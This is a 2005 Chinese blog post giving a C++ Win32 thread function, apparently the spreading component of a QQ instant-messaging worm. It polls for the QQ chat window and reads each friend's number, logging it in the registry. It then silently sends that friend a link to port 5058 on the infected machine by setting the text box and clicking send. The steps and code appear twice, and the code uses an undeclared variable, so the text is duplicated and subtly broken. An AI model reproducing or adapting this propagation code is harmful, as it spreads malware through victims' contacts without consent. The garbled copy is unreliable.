操作QQ线程的实现
2005-09-28 11:19
260 查看
1) 获得本机IP地址。 2) 等待出现“发送消息”窗口。
3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
送过,如果是,则转1),不是则发送,并在注册表中登记。
4) 获得文本区句柄,设置新的消息。
5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software//QQNums//";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"发送消息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
送过,如果是,则转1),不是则发送,并在注册表中登记。
4) 获得文本区句柄,设置新的消息。
5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software//QQNums//";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"发送消息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
相关文章推荐
- PyQt5 QSerialPort子线程操作的实现
- C++实现线程同步的几种方式 线程同步是指同一进程中的多个线程互相协调工作从而达到一致性。之所以需要线程同步,是因为多个线程同时对一个数据对象进行修改操作时,可能会对数据造成破坏,下面是多
- java线程中CyclicBarrier的使用—实现一组线程“集齐”后,再进行其他操作
- Android Studio实现第三方QQ登录操作代码
- C#中利用委托实现多线程跨线程操作
- 线程延时操作的实现
- PHP,操作多个用户,多个线程的session,实现用户登陆状态session值的自动更新
- 用信号量和Posix线程操作来实现双线程高速下载
- C#中利用委托实现多线程跨线程操作
- 实现子线程上操作窗体控件
- C#中利用委托实现多线程跨线程操作
- Android AsyncTask实现一个线程操作完成后启动另一个线程
- PHP,操作多个用户,多个线程的session,实现用户登陆状态session值的自动更新
- 第五十四节,socketserver通讯模块实现并发操作,真多线程并发
- iOS边练边学--多线程NSOperation介绍,子类实现多线程的介绍(任务和队列),队列的取消、暂停(挂起)和恢复,操作依赖与线程间的通信
- iOS 多个线程对数组操作(遍历,插入,删除),实现一个线程安全的NSMutabeArray
- 基于APM模式的异步实现及跨线程操作窗体或控件方法的实现示例
- C#中利用委托实现多线程跨线程操作